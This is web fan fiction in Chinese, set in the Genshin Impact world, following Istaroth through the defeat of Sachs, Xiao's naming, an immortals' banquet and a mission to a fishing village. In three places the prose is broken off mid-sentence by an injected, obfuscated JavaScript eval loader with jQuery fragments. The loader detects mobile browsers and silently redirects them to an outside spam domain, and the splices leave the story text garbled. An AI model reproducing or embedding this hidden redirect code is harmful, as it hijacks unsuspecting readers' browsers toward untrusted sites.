更多的碎星飞出,随后,曙色破晓。
伊斯塔露眯了眯眼,好不容易适应了逐渐褪下的白色,视线又陷入了铺天盖地的血色。
尸体铺满整个河谷,河流被血液染得透红,血光冲天。
浮舍、应达、伐难、弥怒和铜雀姿势各异地瘫倒在伊斯塔露附近,五人都气息奄奄。
站在河流上的沙克斯将一身血迹的金鹏猛地甩向她,在她手忙脚乱地接住了金鹏之后,才低低地笑出了声。
他的声音细小而沙哑。
“桀桀桀桀……我还当来自高天的神是什么人物,还不是同这些夜叉一般被困在了我的幻境中……”
“桀桀,你倒是会灌迷魂药,让我手底下的夜叉又说服了其他几个巡视的,一个两个都在梦里提醒你。”
沙克斯说到这个份上,伊斯塔露也对事情始末有了数。
她早在那天晚上直视窗外那场傩戏的时候,就已经陷入了沙克斯构建的梦境。
夜晚的傩戏,是夜叉们为沙克斯选取目标的过程,这也就是为什么那个聚落的人所剩无几——都被夜叉们带走杀死了。
沙克斯构建的梦镜里,蚕食她美梦的是以金鹏为首的夜叉们,可提醒她醒来的也是他们。
他们在尽力反抗沙克斯了。
与此同时,沙克斯歪头盯着伊斯塔露,眯起眼笑。
“不如让我试试控制你的精神吧?”
“而这些背叛我的家伙,嘻嘻,都要付出代价!”
沙克斯的声音骤然尖锐起来,他一挥手臂,原本奄奄一息的几名夜叉——甚至包括金鹏,都猛地睁开眼。
他们眼底是看不见底的深渊。
原本伤重的金鹏毫不犹豫地抬起左臂,在伊斯塔露“诶金鹏你别肘我”的声音中,将手肘狠狠敲向她的胸口。
伊斯塔露松开扶着金鹏的手,略略侧身,轻描淡写地躲开了这一击。
随后,她又低下头,躲开了身后伐难的偷袭。
即使只躲不攻,伊斯塔露依旧在五六人的围攻下显得游刃有余。
沙克斯大约是觉得事情还不够有趣,伸出分叉的长舌,舔舔嘴唇,提醒伊斯塔露:
“桀桀桀,你不知道吧?他们现在的力量可是压榨生命换来的。”
“成为我手下的夜叉吧?然后亲手解决其他五个,我或许可以放走最后一个……”
“知道了知道了,吵死了。”
伊斯塔露终于厌倦了沙克斯的多嘴,她打了个响指,围攻她的夜叉们一时僵在原地。
伊斯塔露则大摇大摆地走向河里的沙克斯。
她和善地冲沙克斯笑了笑:
“是那个梦境给了你错觉,让你有了挑战我的自信?”
沙克斯却弯起眉眼,更加愉快地轻笑一声,也打了个响指:
“噗哈哈哈哈哈,我要挑战的,正是你们这些高高在上的存在!”
“我的命运,此方众生的命运凭什么由你们划定?!”
随着沙克斯的响指声响起,原本僵住的六名夜叉再次一跃而起,袭向伊斯塔露。
伊斯塔露没有回头,只是笑了一声——这一次,不只是跃至半空的六人,甚至是奔流的河川、拂过的清风,都为她的意志所静止。
“破解了一个时间静止的小术法就觉得自己能对抗我了,是不是太看不起我时之执政了?”
在沙克斯惊讶而绝望的目光中,伊斯塔露从虚空中拔出了她的长剑。
然后就被人从身后扯了一把。
伊斯塔露有些茫然地回头,却被骨节分明的手拉着扯到了一人的身后。
是摩拉克斯。
摩拉克斯手执长枪,以无边杀伐之相,挡在所有人面前。一众仙人随列他身后,无数荒星自高天落下。
枪尖的明光横贯白虹,荒星将血光冲天的幻境砸得七零八碎。
帝君亲征,昭此一隅。
摩拉克斯来的真是太及时了……才怪啊!伊斯塔露悄悄朝摩拉克斯翻了个白眼。
岩星早在从梦中醒来时就被她捏爆,结果摩拉克斯早不来晚不来,偏偏就在她要装一把的时候来!
就不能让她装完吗!就他摩拉克斯会捡漏!
幻境被荒星损毁后,露出了原本的模样——不见漫山遍野的尸体,反而是深谷幽静,草木苍翠。
沙克斯的一臂被荒星砸中后化作了齑粉,他跪在清澈的水面上,捂着伤口,颓然地看着摩拉克斯和伊斯塔露。
他闭上眼,自嘲地笑出了声:
“桀桀桀,我等自命不凡,却未曾跳出主宰我们的规则,可笑啊!”
“死便死了,但我没有输。我没有输给摩拉克斯,更没有……”
他猛然睁眼,目光锁在摩拉克斯身后的伊斯塔露身上:
“更没有输给这天命!时间的记忆里理当有我的身影!”
摩拉克斯对沙克斯的呐喊充耳不闻,他冷漠地看着他,扬起手。
荒星天坠,直直砸向伤重的夜叉之主。
“等等!”伊斯塔露想起了什么,伸手扯了扯摩拉克斯的长袍,“那些夜叉还被沙克斯奴役啊!他要是死了,夜叉都会发狂的!”
可荒星已然坠下,在漫天烟尘中,一代魔
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936194|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神就此陨落。
而所有被奴役的夜叉,却在沙克斯死后,眼神逐渐清明起来——
谁也没有想到,一生作恶奴役夜叉的沙克斯,在生命的尽头却选择放过了所有的夜叉。
伊斯塔露沉默地望着这一切,最后也只能致以叹息。
尘世众生,皆存人性,魔神也不例外。
金鹏从混沌中恢复意识的时候,已经再也感觉不到拘束他的夜叉之主的气息了。
他茫然地抬起头,只见破开黑暗的灼目光芒中,两位神明一前一后背光而立,仪态神圣而威严。
归离原的岩之神走向所有夜叉,也走向他。岩神分明神色淡漠,却偏偏有君王的仁慈:
“在异邦的传奇故事中,魈之一字代表着遭遇苦难、饱受淬炼的鬼怪。”
“你也经历诸多,以后就用这个名字吧。”
伊斯塔露梦中的名字与此处重合。
“……魈,幸得此名,愿舍命追随。”
魈如是道。
.
最后,以魈为首的大部分夜叉感念摩拉克斯救命之恩,选择追随他征战四方。
所以夜叉们也一起回了归离原。
而众仙家回到归离集的当夜,便迎来了热闹非凡的庆功宴。
作为本次大捷的功臣,伊斯塔露自然是坐在露天宴席中的显眼位置。
只是这个熟悉的配置……伊斯塔露没办法不想起沙克斯给她构建的梦。
沙克斯不能再阴魂不散了吧?
伊斯塔露讪笑着和道贺的人寒暄,从千岩军到仙人,还有别扭的留云借风真君。
最后,摩拉克斯甚至亲自敬了她一杯酒:
“伊露,此番大破沙克斯却无人伤亡,你功不可没,敬你以身入局,护尘世苍生。”
和梦里一模一样的话,吓得伊斯塔露差点原地蹦起来。
“帝君谬赞,本分而已。”
伊斯塔露尬笑着将杯中的酒一饮而尽,眼角余光扫过角落里的魈时,忽然想起了搞事指南里的话。
她的梦是提瓦特的过去、现在和未来。
在她尚且有几分意识的梦境里,沙克斯的梦境构建或许是基于原本的梦——也就是可能出现的未来。
也只能这么解释了。
一刻钟后,伊斯塔露有点相信现在的情况不是梦了。
毕竟之前那个梦里她库库炫了好多杯酒都安然无恙,现在就喝了摩拉克斯那一杯,便已经开始头昏眼花了。
她支着脸颊,勉勉强强撑到了宴会结束,却被归终喊去见摩拉克斯:
“伊露,摩拉克斯说他要见你!去吧去吧!”
原本有些昏昏沉沉的伊斯塔露忽然又清醒了一点——沙克斯的梦境里是不是也有这么一段?
去找摩拉克斯的路上,她还在心底悄悄做法,只求摩拉克斯不要长着一张沙克斯的脸。
梦境换来换去,跟跑片场似的,她实在不想再玩梦中梦中梦了。
伊斯塔露走到了摩拉克斯居所外,却发现这里的门和梦里一样是虚掩着的。
“帝君有何事唤我?呃……我进来咯?”
为了祛一祛那些乱七八糟梦的晦气,伊斯塔露甚至改了自己敲门时的话。
可是屋内没有人应答。
难道是出事啦?不能吧,那可是摩拉克斯诶。
伊斯塔露狐疑地挑了挑眉,推开了虚掩的门。
入眼便是大片的肌肤,甚至隐隐能看见腹肌……
摩拉克斯不紧不慢地披上了外衣,灿若荒星的金眸冷冷瞥向伊斯塔露。
哦豁,伊斯塔露尴尬地后退一步,也没忘记帮摩拉克斯把门带上。
哦不,偶然撞到摩拉克斯换衣现场,她真的不是故意的。
……摩拉克斯会恼羞成怒弄死她吗?
8. 人间一梦(八)
伊斯塔露站在门外,进也不是退也不是。
她已经在思考自己夺路而逃连夜离开归离集的可能性了。
无奖竞猜,她是先被怀疑她的「天理」劈死还是被恼羞成怒的摩拉克斯追杀到累死?
就在伊斯塔露打定主意死不承认今晚私下见过摩拉克斯时,屋内传来摩拉克斯的声音,听上去波澜不惊。
“是我寻人唤你,进来吧。”
听上去好像也没生气,但伊斯塔露进门前还是活动了一下手腕。
万一摩拉克斯想搞偷袭,她也得有点心理准备。
门被再次推开,此时,摩拉克斯已经穿戴整齐,他端坐着,鎏金的眼眸注视着伊斯塔露。
伊斯塔露的目光也不敢再往摩拉克斯身上落,只能尴尬地四处乱转:
“哈哈哈,帝君您唤我来有什么事吗,没事我就走了哦。”
“自然是有事,你先把醒酒茶饮下。”
摩拉克斯将一盏茶递给伊斯塔露,自己也拿起一只茶盏,从容不迫地开口。
“天衡山以东的海神,以娶渔村民女之名,实为祭祀人命,民怨沸腾,此恶当诛。”
“明日你便出发,前去调查此事。”
“若其作恶过多,”摩拉克斯顿了顿,杀伐果断的锋芒从眼中一闪而逝,“无需驱逐,即刻唤我前去斩杀。”
伊斯塔露:?
真把她当驴使啊?这边拉完磨去那边拉?
伊斯塔露不心虚了,也不觉得尴尬了,她把手上未动过的茶盏往桌上一搁。
大概是醉酒的后劲上来了,伊斯塔露昏昏沉沉地想,她想骂人,骂的就是摩拉克斯。
然后她也真的骂出来了:
“这说的是人话吗?我不能休息的吗?我一个人能分裂成三个物种是吗,当牛做马变狗?”
摩拉克斯平静地看着她,面无表情,对她的抱怨不置可否。
即使伊斯塔露并没有使用权能,空气仿佛也有一瞬间凝滞了。
坏了,伊斯塔露心虚地吹了一声口哨,战略性地开始后撤步:
“帝君帝君,我开玩笑的哈哈哈哈,我喝醉了,真的。人不能跟一个醉鬼计较,至少不应该……”
“我最喜欢给归离集的民众打工了,签了契约伊露就是帝君麾下的人,干什么都没问题。”
伊斯塔露细节地用了“伊露”,帝君麾下的爱谁谁,反正不是她伊斯塔露。
摩拉克斯似乎叹了口气,将手中的茶盏搁下。
在昏黄的烛光中,他缓缓道:
“南有巨蟒北侵,东有八虬西伐,战事迫在眉睫,我如今实在无力探究渔村之事,只是苍生之苦不能不顾。”
“归终不善武力,更需坐镇归离,留云等人也各有安排,此事你多费心。伊露,我代众生谢你。”
摩拉克斯这样和和气气,是在和她解释吗?伊斯塔露有点不敢置信。
她以为不近人情如他,应该对她的抱怨武力镇压,没想到还有怀柔策略。
原来归离集的岩王帝君,并没那么难以相处。
伊斯塔露收起了浮夸的狗腿笑容,有些不自在地挠了挠脸颊:
“呃,帝君不必解释……那些人类尚且前仆后继,我身为帝君麾下仙人,本就当冲锋陷阵。”
“祭祀渔女的事情,我会去调查的。”
伊斯塔露这话其实是真心的。
先前宴会尾声时,她和留云借风真君闲谈后才知道,摩拉克斯所说的“无人伤亡”,不过是赞颂功臣、振奋军心的美言。
沙克斯身为夜叉之主,在领地设下的禁制并非轻易可破,否则摩拉克斯也不会迟迟没对这位驱使夜叉行凶作恶的魔神下手——
越过禁制的生灵会陷入梦魇,并在梦中被逐渐抽取生命,自身能力越强,被抽取生命的速度越快。
甚至强如摩拉克斯都不能免除在禁制之外,除非是伊斯塔露这种层次的存在。
是随帝君出征的千岩军自请穿越禁制开路,无数人类用自己的生命踏穿了魔神的结界。
最后沙克斯设下的禁制轰然崩碎,才有了伊斯塔露所见到的帝君亲临。
做到这些的,正是那些孱弱到在区区魔物面前都需要逃跑的人类。
“如此甚好,此番还有二人与你同行。”
见伊斯塔露松口,摩拉克斯点点头。
伊斯塔露却猛然想起自己上次是怎么被归终和他算计的了,还不是这出红脸带白脸的戏码!
已经说出的话,摩拉克斯是定然不会让她反悔的,但摩拉克斯这样做局,这就有点太不讲武德了。
伊斯塔露幽幽地看着摩拉克斯:
“武德呢,帝君?”
不管了,先骂摩拉克斯一句吧,问就是喝醉了。
反正明天一醒她就去干活,摩拉克斯逮不到她。
“咳咳。”
被伊斯塔露直直地呛了一句,摩拉克斯面子上似乎也有些挂不住:
“我可拨几日让你和另外两位熟悉一番,正巧归终这些日子做了个有趣的机巧,你可一试。”
“最后出现的数字是几,你便休息几日吧。”
“帝君,圣明啊!”
伊斯塔露重新称赞起帝君的美德。
.
一刻钟后,伊斯塔露带着她那可怜的一日假期,离开了摩拉克斯的居所。
她恨机巧,她恨归终,她恨摩拉克斯,她恨打工!
眼见伊斯塔露晕晕乎乎地离开了摩拉克斯的居所,一抹纤细的身影从阴影中飘然而出,进入了摩拉克斯的居所。
“摩拉克斯!”归终挥了挥自己宽大的袖子,喊他,“伊露答应你没有?”
“归终,如你所料,”摩拉克斯朝她微微颔首,“她确实一口应下。”
归终拖了张凳子,在摩拉克斯面前坐下,笑着朝他眨了眨眼:
“我早就和你说咯,伊露是个很好的人呀,就是吃软不吃硬。”
“话虽如此,”摩拉克斯闭上眼,淡淡陈述,“她能直面沙克斯,力量甚至在你之上。”
“谁也不能保证她留在归离集是否是别有所图,这仍是隐患。”
“那不是还有你么,帝君大人?想用人家伊露,总要承担隐患嘛。”
归终抬起衣袖,遮起下半张脸,笑了。
“而且就算没有我们,归离集的大家也不是经不起风雨的,摩拉克斯,你要相信他们。”
“说不准伊露真的能被你收编麾下呢?她和其他人关系也很好。”
摩拉克斯无奈地看了一眼向来机敏聪慧却总有天真幻想的友人,搪塞地应了一声:
“希望如此。”
归终对摩拉克斯的敷衍也早有预料,轻哼一声:
“好好好,我知道,帝君有帝君的规划。”
归终的目光透过窗户,落在天边的明月。
“我啊,只希望这场战争快点结束,人类能有保护自己的力量,所有人都能有一个家。”
.
第二天醒来的伊斯塔露有点后悔了。
她昨天晚上就应该喝摩拉克斯给她的醒酒茶的。
这样的话,她醒来的时候应该就不会听到归离集那些乱七八糟的传言了。
最开始是“伊露醉酒后从帝君居所出来”,后面已经变成了“伊露酒后乱性死死缠着护法夜叉”“降魔大圣纵容伊露对他上下其手”。
她依稀记得自己回家路上是遇到了魈,然后好像是被昏昏沉沉的她拽住了吧……这小哥就送了她一程。
那也没别的了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936195|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊!
所以归离集的人不敢多编排摩拉克斯,就编排她和魈?
世风日下,人心不古啊!
这些传言当然还是留云借风真君讲给她听的,来找伊斯塔露参加聚会的仙人半信半疑地盯着她:
“本仙知晓,降魔大圣与你都不是这个性子的人,撇开不提。”
“只是伊露,并非本仙不信你,也非本仙实在好奇……咳咳,只是帝君这些年来都未曾和他人有过传言,你跟本仙说说,这是怎么回事?”
好好好,伊斯塔露闭了闭眼,不愧是留云借风真君啊。
这是敢编排帝君,传新式谣言的仙人。
“真君,”伊斯塔露一把握住留云借风真君的手,情真意切地挤了两滴眼泪,“我们不信谣不传谣好吗?都是没有的事。”
“千万别让摩拉……咳咳,帝君知道这些乱七八糟的东西,我还想多活两天。”
“本仙便勉强信了这话,”留云借风真君瞥了她一眼,“你有事可别瞒着本仙,走,跟本仙去琥牢山的聚会看看。”
“明日和你同行的家伙也会来,且待本仙为你引荐——要是那家伙惹你不高兴了,和本仙说。”
留云借风真君骄傲地抬起下巴:
“那只鹿怎能欺负本仙的后辈。”
伊斯塔露也适时对留云借风真君的好意做出崇拜状:
“谢谢真君,赞美真君,留云借风真君就是最完美最善良的仙人!”
听完伊斯塔露的夸赞,留云借风真君笑着斥了她一句“油嘴滑舌”,便拉着她前往绝云间。
不同于在一片平原上的归离集,绝云间随处可见高耸入云的险峰,手可摘月的绝云之巅也别有一番风趣。
琥牢山的山路边上随处可见澄黄的琥珀,留云借风真君再三叮嘱伊斯塔露别碰那玩意。
“理水叠山那家伙就喜欢整这些虚头巴脑的,你碰了可就被关进去了。”
原本手贱想敲一块琥珀玩玩的伊斯塔露闻言,默默收回了手。
留云借风真君带着她沿山路往上,还时不时感慨:
“虽说如今是魔神战争,琥牢山的风光倒是没变。”
“理水叠山那家伙啊,曾经……”
“咳咳,留云!”
“就等你们了,别闲聊了,快上来。”
沿山路走下来的中年男人猛地咳嗽了几声,打断了留云借风真君的感慨。
伊斯塔露猜,那就是理水叠山真君了。
留云借风真君不满地轻嗤一声:
“理水叠山,谁乐意多说你似的,伊露,跟本仙走,别搭理这家伙。”
“诶诶,好。”
伊斯塔露被留云借风真君拉走前还不忘和理水叠山真君问了个好,随后收获了这位真君的肯定:
“留云这家伙,虽然说话不客气,但是她身边的孩子倒是有礼貌。”
伊斯塔露和留云借风真君到达琥牢山顶时,宴席上的仙人几乎已经到齐,推杯换盏间,大家也是其乐融融。
只有独自饮酒的魈看上去一身寂寥,有些格格不入。
“嗨嗨,魈小哥。”
见到认识的人,伊斯塔露还是打了个招呼。
听到有人呼唤,他抬眸看了一眼来人,却没想到和伊斯塔露对上了视线。
魈的金眸微微瞪大,身形明显一滞。
随后,那位护法夜叉“嗖”地消失,只留下几缕风元素的痕迹。
伊斯塔露:?
干嘛看到她跟看到鬼似的,她怎么说也比沙克斯和善吧?
“伊露,你是不是还有什么没告诉本仙?”
留云借风真君若有所思地盯着魈消失的位置,心直口快地道:
“那降魔大圣看你的目光可不正常。”
9. 人间一梦(九)
“我不是,我没有,留云真君你不要乱说。”
伊斯塔露下意识否认三连。
这种话可不能乱说。
她已经看透了,大家都带点八卦属性,就算给一簇小火苗,流言都能传成星火燎原。
她还记着搞事指南要她让未来的尘世七神精神崩溃呢。
看现在的势头,摩拉克斯大概率是能荡平八荒,成为一方执政的,如果让他旧友离散,孑然一身……
那伊斯塔露必然会被摩拉克斯恨之入骨,乃至在他的领土落得人人喊打的局面。
伊斯塔露不想让别人难做,所以不打算和归离集的一切有过多的牵扯。
哪怕是现在和留云借风真君还有归终关系不错都是出乎她的意料了。
至于魈和那些莫须有的传言,更是越远越好。
只是伊斯塔露的否认显然没得到留云借风真君的信任,她推了推鼻梁上的眼镜,更加狐疑地盯着伊斯塔露:
“本仙不过随口一说,你反应为何如此之大?”
“速速从实交来!你和降魔大圣怎么回事,到底有什么瞒着本仙!”
伊斯塔露觉得现在应该有个六月飞雪,才好证明她的冤屈。
她和魈之间有什么不可告人的秘密吗?她本人怎么不知道?
所幸留云借风真君并未吸引太多人的目光,要不伊斯塔露是真的洗也洗不清了:
“真君真君,您带我来这里也辛苦了,我们先找个地方坐,然后我知道什么都说给你听。”
“留云借风真君最照顾我了,我怎么会瞒真君你呢,是吧?”
“哼,那还差不多,”留云借风真君话里有种老母亲般的欣慰感,“甘雨那孩子长大后有事都不和本仙说了,你可不要学。”
“一定,一定。”
伊斯塔露讪笑着应下,随着留云借风真君在宴席中找了一处落座。
落座后,伊斯塔露难免好奇地打量起席上众仙——她认识的只有几位梦中见过的夜叉,其余都是生面孔。
留云借风真君倒是也不急着带她认识谁,只是一个劲的夹菜往她盘子里塞。
都是些什么清心、琉璃百合,伊斯塔露感慨仙人吃的就是不一样。
留云借风真君想起什么似的,斜睨她一眼:
“伊露,你不挑食吧?”
伊斯塔露哪敢挑啊,她连连摇头:
“不挑不挑,谢谢真君照顾。”
“还是你这孩子最懂事。”
留云借风真君满意地点点头。
她这是真把伊斯塔露当孩子养了。
此时,宴席的对面也传来豪迈的笑声:
“留云,伊露昨个儿可是和魔神对峙都不恘,咋到你这里就成了唯唯诺诺的后辈?”
那是一个身材壮实、精神焕发的中年男人,比起留云借风真君仙气飘飘的化形,他的形象更接近归离集的凡人。
“移霄导天?”
留云借风真君不屑地瞥了那人一眼,拆了他的台:
“当然是因为对这些孩子来说,本仙比你好相处多了,甘雨那孩子小时候看到你这胡子拉碴的模样,都……”
“咳咳,两位……两位都是极好的,烦请两位不要起争执。”
宴席上一直负责调和气氛、长着卷曲双角的少女轻咳一声,温温柔柔地打断了这两人的争吵。
想来这就是留云借风真君时时提到的甘雨了。
两位仙人都卖了甘雨一个面子,不再揭对方的底,移霄导天真君还特意来敬了伊斯塔露一杯:
“伊露,帝君说是让你我和护法夜叉明天一起干活,但是我跟着帝君的时间比你们多几个年头,有事都喊我,我担着!”
不是,伊斯塔露愣了一下,怎么大家都已经知道谁要和她一起去调查,就她什么都不知道?
……等等,摩拉克斯是不是昨晚和她说过这事?
伊斯塔露心虚地回想了一下。
好像自己昨晚离开摩拉克斯的居所前,他还叽里咕噜说了什么,但是她忘了……
她错了,她再也不乱喝酒了。
伊斯塔露对昨晚的事痛定思痛,这回也不敢喝酒,便以茶代酒回敬了移霄导天真君。
宴席上以闲云为首的仙人也在起哄,让伊斯塔露干点坏事后让移霄导天真君背锅。
移霄导天真君也哈哈一笑,表示只要是不涉及原则的事,都给伊斯塔露和魈担了。
宴席上的话题最后转到绝云间,在座的一名仙人忽然感慨道:
“不知道战争什么时候能结束,当年下山时的一些人已经看不到现在的绝云间了。”
原本热闹的宴席有一瞬间忽然安静了。
片刻后,有人笑斥他多愁善感,也有人道追随帝君从来未悔,气氛很快恢复如初。
但其实大家都知道,今日出了这绝云山间,以后还有很多人便再也回不来了。
可也没有人退却,从来没有。
伊斯塔露忽然有一点点舍不得了。
舍不得按照搞事指南里说的做,舍不得让这筵席人走茶凉,舍不得破坏乱世中的热血难凉。
.
因为吃不惯宴席上的花花草草,也不大能喝酒,伊斯塔露不久后就找了借口溜走了。
她顺着山间小路走向归离集,群山尽出便是一望无际的平原,翻腾的稻浪和拿着长枪的人。
……不对,这人有点眼熟啊?
伊斯塔露走近那人后看清了,这不是之前“嗖”地一下消失的魈吗?
那柄翠玉长枪被他挥得虎虎生风,这位仙人所过之处,无数水稻尽折腰。
不吃饭反而来帮民众割水稻吗?哈基魈,你这家伙……
不知是否是感觉到了什么,热心仙人魈忽然从田里抬起头,和围观路人伊斯塔露撞上了视线。
少年仙人的神色一下变得窘迫起来,他哽了一下:
“呃,伊露大人?”
伊斯塔露觉得受宠若惊——自己在魈这里居然和摩拉克斯一样有敬称?
只是伊斯塔露向来不习惯他人的敬畏,她不自在地移开目光:
“啊哈哈哈,用不着这么客气,都在帝君麾下,叫我伊露就行。”
“不,伊露大人,如此唤您便好。”
魈垂下眼,轻轻地应了一声。
还未等伊斯塔露说什么,她的斗篷角就先被一只橙色的熊布偶拽了拽。
“嗯?你喊我?”
伊斯塔露蹲下身,看着那只布偶。
有璃月那些仙人在前,她对这只有灵智的布偶谈不上惊讶。
那只布偶用力地点了点头,伸出小短手指了指稻田,又指了指伊斯塔露,再手脚并用挥舞了几下。
“哦,”伊斯塔露悟了,“你希望我和魈一样,去帮忙割水稻?”
见她会意,布偶熊高兴地点了点头,还试图踮起脚摸摸伊斯塔露的脑袋。
看在这只布偶实在可爱的份上,围观群众伊斯塔露当场决定当一次热心仙人。
伊斯塔露把平常披着的斗篷解到一旁,拉了拉胳膊,本想向魈请教一下割水稻的诀窍,可他早已不见身影。
这小哥干嘛呢?伊斯塔露不解地摸了摸脑袋,扬手幻化出一把长剑,开始试着用剑割水稻。
虽然在割水稻上,伊斯塔露和魈的专业不那么对口,但身为仙人总有术法支撑,很快便解决了那一片田。
那片田的主人是一名笑容可掬的中年妇人,也不和这两位帮忙的仙人客套,当即便热情地留二人在她家吃晚饭。
“不必。”
魈一副拒人于千里之外的模样,眼看就要离开,小小的布偶却从身后使劲拽着魈的飘带。
布偶挤着豆豆眼,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936196|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
示意他答应那个妇人。
“不,马科修斯大人,”魈抱紧了自己的长枪,“这种场合我不必……”
“等等,你叫它什么?”
伊斯塔露蹲下身,看着橙色小熊布偶的豆豆眼,大跌眼镜:
“马科修斯?归终说的炉灶之魔神?”
被伊斯塔露质疑的熊布偶眯起豆豆眼,毫不客气地给了她一个头槌。
最后,魈和伊斯塔露都被熊布偶又拉又拽地留下了。
不比仙人们宴席上曲水流觞的雅致,归离原的百姓宴请客人,大多是一桌佳肴足矣。
其实比起吃清心这种花花草草,伊斯塔露还是更喜欢人类的伙食,所以这一顿她吃得很是开心。
魈则恰恰相反,他几乎未曾动箸,活脱脱一副不食人间烟火的模样。
“我的手艺可是不合仙人口味?”妇人有些歉然,淳朴地冲魈笑了笑,“论手艺还得看我丈夫,只是他加入了千岩军,平常不回来。”
“当年可是有位仙人都尝尝夸他做饭好吃呢!”
“哇哦?哪位呀?”
伊斯塔露怀疑魈是不一定接话的,为了不让人尴尬,她便顺着妇人的话往下问。
“我记得……那位是叫移霄导天真君?他和两位一样,都是守护我们的大好人。”
伊斯塔露还记得,这是与她和魈同行,前去调查渔女献祭事件的仙人。
“只是现在那位真君和我丈夫都去前线了,不知道我们能不能等来和平的那天……”
“可以的,”伊斯塔露认真地点点头,“夫人,你要相信帝君和千岩军啊,也要……”
伊斯塔露先后指了指自己和魈,在后者一瞬间的茫然中,朝他眨了眨眼。
“也要相信我们。”
趴在伊斯塔露左肩的熊布偶不满地戳了戳她的脸。
“哦,”伊斯塔露赶紧找补,“还有英明神武的马科修斯大人。”
布偶满意地哼了一声。
.
等到用餐结束,告别了这位妇人,马科修斯往暗处一窜,就不见了身影。
伊斯塔露和魈站在原地,面面相觑。
“……伊露大人,告辞。”
魈很快垂下眉眼,想要离开。
这下伊斯塔露也看出来了,魈的状态明显不对劲。
“咳咳,那个,魈啊,”伊斯塔露指指自己,“我是什么很可怕的人吗?怎么感觉你一直在躲我?”
“……不,您误会了。”
魈大概也知道自己解释无用,便敛起眉眼,一言不发。
“你是不是……”
伊斯塔露还试图探究,一只手却忽然拍在了她的肩膀上。
“嗨,伊露!终于找到你咯。”
伊斯塔露回过头,看见归终笑吟吟地站在自己身后。
等她再看向魈的方向时,那位仙人早已不见踪影。
伊斯塔露无奈地叹了口气,看向归终:
“归终大人,你有什么事吗?”
自从最开始喊归终露馅,自己胡扯说是鬼上原主身后,伊斯塔露索性也就喊这个比较容易让人记住的名字了。
“叫归终就好了,”归终将一把轻弩塞到伊斯塔露手里,“哼哼,看看,怎么样?”
“这是给你做的轻弩,今日我和留云一同赶工出来的——那个海神不比夜叉之主弱多少,你要保护好自己,这把弩或许会发挥奇效哦。”
归终对自己和留云借风真君做出来的机巧很是自信——毕竟是归离集两位机巧宗师的合力之作。
伊斯塔露注视着归终,看着归离集的神女双手叉腰,自信而得意地冲着她笑。
于是她只能沉默着苦笑。
在伊斯塔露那本搞事指南中,标记着不可避开并且对摩拉克斯影响最大的事情就是——
用轻弩杀死归终。
10. 人间一梦(十)
伊斯塔露眼前的神女仍然笑得灿烂,让人想起月光下的琉璃百合。
大概谁也想不到,或许会有那么一日,月光孤寒如初,漫山琉璃皆谢。
伊斯塔露轻轻地呼出了一口气,朝归终笑了笑:
“谢谢归终,也代我谢谢真君,我一定平安回来。”
归终似乎看到了她眼底的忐忑,又似乎忽视了,她只是抬起宽大洁白的衣袖,在伊斯塔露面前晃了晃:
“当然会平安回来的哦。”
.
翌日,伊斯塔露和魈、移霄导天真君三人踏上了前往渔村的路。
往来路上几乎没什么人烟,远观渔村也是屋舍简陋,不及归离集繁华。
在村口时,三人被巡逻的村民拦住,两名青年把石制长枪往三人面前一横。
“报上名来!”
“我姓肖,从天衡山那边来,我妻子是从你们村出来的,”移霄导天真君的谎话张口就来,“她死前说想回家,所以我和一对儿女把她送回来下葬。”
他拍了拍魈,又指了指伊斯塔露。
“……”
无痛当子的魈沉默着别开了目光。
伊斯塔露倒是相当配合地点点头,一副乖巧听话的模样。
其中一名尖嘴猴腮的青年闻言,眉毛一竖,正欲开口驳斥,却被另一个相貌堂堂的青年拦下。
相貌堂堂的青年大度地挥了挥手:
“我们村已经很少有女子外嫁了,不过前些年,我小姑倒是跑出村嫁人了……”
“想来你们就是我姑父一家了,看在熟人的面子上,一会儿我带你们找个住处。”
青年在移霄导天真君和伊斯塔露的千恩万谢中带着三人回了自己家。
趁青年没注意时,三位仙人对视了一眼。
青年家在村子的最东边,从院子里远望,已经隐隐能看到海岸线。
青年领着三人进入大堂,只看见魈和移霄导天真君时,坐在主位的中年男人脸色变得有些难看。
直到看到走在末尾的伊斯塔露,他才眼前一亮,神色和蔼起来。
“源子,这几位是……”
“爹,这是嫁去天衡山的小姑的丈夫和子女,您还记得吗?就是您说的家里最宠爱的小姑啊!”
“小姑在异乡过世,死前却还是想着家里,所以姑父他们带她回家。”
收到了父亲挤眉弄眼的暗示,端正青年也是一脸恳切地介绍三人。
高堂上的中年男人同样浮夸地点了点头,甚至终于舍得站起身来迎三人。
“妹夫,节哀,这么远走过来辛苦你们了。”
“唉,大哥,说话咋这么客气呢,这几天还得劳烦你们……”
